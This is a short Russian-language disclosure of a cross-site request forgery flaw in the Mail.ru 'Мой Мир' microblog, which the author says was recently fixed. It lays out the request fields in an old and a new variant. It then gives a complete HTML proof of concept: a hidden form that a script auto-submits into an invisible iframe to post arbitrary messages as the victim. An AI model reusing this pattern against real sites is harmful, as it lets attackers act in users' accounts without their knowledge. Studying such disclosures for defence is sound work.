XSRF уязвимость позволяет атакующему отправить в микроблог пользователя любое сообщение.
Создаётся специальный HTML файл с формой и с использованием JavaScript.
Образец запроса (старый вариант):
URL: | http://my.mail.ru/cgi-bin/my/ajax |
Метод: | POST |
Кодировка: | UTF-8 |
Поля формы: |
ajax_call | 1 |
func_name | micropost.send |
data | ["Текст сообщения", ""] |
mna | 0 |
mnb | -1 |
_ | <пустое> |
Образец запроса (новый вариант):
URL: | http://my.mail.ru/cgi-bin/my/ajax |
Метод: | POST |
Кодировка: | UTF-8 |
Поля формы: |
ajax_call | 1 |
func_name | micropost.send |
data | ["Текст сообщения", {"type": "micropost"}] |
mna | 0 |
mnb | -1 |
_ | <пустое> |
Образец HTML кода, использующего эту уязвимость:
Code
<form id="send_micropost" method="POST" action="http://my.mail.ru/cgi-bin/my/ajax" target="frame_micropost">
<input type="hidden" name="ajax_call" value="1">
<input type="hidden" name="func_name" value="micropost.send">
<input type="hidden" name="data" id="message_sending">
<input type="hidden" name="mna" value="0">
<input type="hidden" name="mnb" value="-1">
<input type="hidden" name="_" value="">
<input type="submit" value="Submit">
</form>
<script type="text/javascript">
document.getElementById('message_sending').value = "[\"Текст сообщения\", \"\"]";
document.getElementById('send_micropost').submit();
</script>
<iframe name="frame_micropost" width="0" height="0" scrolling="no" frameborder="0"></iframe>
К сожалению, эту уязвимость недавно исправили.